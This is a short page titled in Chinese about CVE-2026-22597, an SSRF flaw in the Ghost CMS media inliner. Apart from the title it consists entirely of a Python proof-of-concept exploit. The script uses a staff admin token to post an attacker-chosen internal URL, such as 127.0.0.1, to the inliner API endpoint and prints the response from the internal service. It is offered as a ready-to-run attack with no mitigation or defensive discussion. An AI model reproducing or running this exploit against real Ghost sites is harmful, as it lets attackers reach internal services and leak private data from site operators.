CVE-2026-22597: Ghost CMS媒体内联功能SSRF漏洞导致内部数据泄露

# CVE-2026-22597 PoC - Ghost CMS SSRF via Media Inliner # This PoC demonstrates how an authenticated staff user can exploit # the SSRF vulnerability in Ghost's media inliner mechanism import requests import json import sys def exploit_ghost_ssrf(ghost_url, admin_token, target_internal_url): """ Exploit SSRF in Ghost media inliner to access internal resources. Args: ghost_url: Base URL of Ghost instance admin_token: Valid Ghost Admin API token target_internal_url: Internal URL to target (e.g., http://127.0.0.1:8080/admin/api) Returns: Response data from internal service """ # Ghost Admin API endpoint for media inliner endpoint = f"{ghost_url}/ghost/api/admin/inliner/" headers = { "Authorization": f"Ghost {admin_token}", "Content-Type": "application/json" } # Payload exploiting SSRF in media inliner payload = { "url": target_internal_url, "type": "media" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return { "status_code": response.status_code, "response": response.text, "target_url": target_internal_url } except requests.exceptions.RequestException as e: return {"error": str(e), "target_url": target_internal_url} def main(): if len(sys.argv) < 4: print("Usage: python cve-2026-22597.py <ghost_url> <admin_token> <target_url>") print("Example: python cve-2026-22597.py http://ghost.local:2368 <token> http://127.0.0.1:8080/internal/api") sys.exit(1) ghost_url = sys.argv[1] admin_token = sys.argv[2] target_url = sys.argv[3] print(f"[*] Targeting Ghost instance: {ghost_url}") print(f"[*] Exploiting SSRF to access: {target_url}") result = exploit_ghost_ssrf(ghost_url, admin_token, target_url) print(f"\n[+] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()